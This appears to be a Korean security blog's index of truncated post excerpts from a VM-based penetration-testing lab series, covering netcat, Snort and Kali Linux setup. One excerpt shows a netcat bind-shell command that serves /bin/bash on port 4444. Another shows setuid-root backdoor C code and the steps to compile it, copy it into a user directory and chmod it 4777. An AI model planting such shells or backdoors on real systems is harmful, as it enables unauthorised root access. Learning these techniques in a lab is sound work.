이전 글에서 사용한netcat을 다시 한번 사용해 볼 것이다. 이러한 침투 공격은 두가지로 나뉘는데 > Bind TCP : 공격자가 공격 대상으로 접근 공격자 --> 공격 대상> Reverse TCP : 공격 대상자가 공격자로 접근 공격대상 --> 공격자위처럼 두가지로 나뉜다.실습해보자! netcat   먼저 CentOS 와 Kali Linux를 준비해주자 두OS는 모두 NC 명령어로 netcat을 이용할 수 있다 nc -e /bin/bash -l -p 4444위 명령어로 CentOS의 4444포트로 접근시/bin/bash가 실행되게 해보겠다. 그리고 nc 192.168.10.50 4444Kali에서 nc 명령어로 CentOS에 접근해보겠다.위 사진이 접근이 완료된 상태다 CentOS에서 netstat으..

백도어 프로그램 작성원격에서 각종 공격을 하기 위해root 권한을 탈취할 수 있는백도어 프로그램을 작성해보자 #vi backdoor.c---------------------------------------------------------------------------#include main(){ setuid(0); setgid(0); system("/bin/bash");}#vi backdoor.c---------------------------------백도어 작성 후------------------------# gcc -o backdoor backdoor.c # cp backdoor /home/user# cd /home/user# chmod 4777 backdoo..

Snort 라는 오픈소스 침입탐지 프로그램에 대해서 알아보자https://www.snort.org/ Snort - Network Intrusion Detection & Prevention SystemWith over 5 million downloads and over 600,000 registered users, it is the most widely deployed intrusion prevention system in the world.www.snort.org위 홈페이지에서 다운로드 가능하며최신 버전으로 wget을 이용해 다운로드 후 설치해주자yum install -y epel-releasewget https://www.snort.org/downloads/snort/snort-2.9.20-1.cent..

포트 스캐닝은 시도하는 것 만으로도 공격행위로 간주된다.실습은 VMware를 이용해 진행하고 있고,실습은 VM 내부 네트워크에서만 진행하고 다른 외부 PC로는 어떠한..

칼리 리눅스는 기본적으로 한글을 지원하지 않는다. 하지만 Kali Linux를 사용하면서웹사이트를 이용할때 필요할 수도 있기 때문에이번시간엔 한글 입력기를 설치해보자 먼저 칼리를 업데이트, 업그레이드 명령어로 최신화 하주자# apt-get -y upgrade# apt-get -y update 업데이트가 끝났으면한글 입력기를 설치해주자 #apt-get -y install fonts-nanum*#apt-get -y install ibus#apt-get -y install ibus-hangul#apt-get -y install im-config설치를 모두 마쳤으면Kali 메뉴를 확인해자Settings 탭에 iBus 설정이 추가된 것을 볼 수 있다.눌러서 실행시켜주자..

KALI 리눅스란?데비안 기반의 모의 침투 테스트용 운영체제이다.많은 툴과 응용할 수 있는 시스템을 기본적으로 제공한다.   먼저 kali linux를 설치해보자위 사진처럼 하드웨어 설정을 해주고 iso 파일을 삽입한 뒤에 부팅하자GUI로 설치하자 IP 및 게이트웨이 DNS 설정을 해주자사용자 이름이 로그인시 사용하는 이름이고전체 이름이 계정 명이다.KALI도 일반 리눅스들 처럼 파티션 LVM 설정을 해준다.체크 되있지 않은 gnome, kde 들의 항목이 보이는데리눅스를 gui 기반으로 서비스해주는 어플리케이션 들이다.gnome, kde, xfce..등등  여러개가 있는데xfce가 가장  가벼운 gui이기 때문에 xfce로 설정해주자.부팅을 위한 설정도 마치면..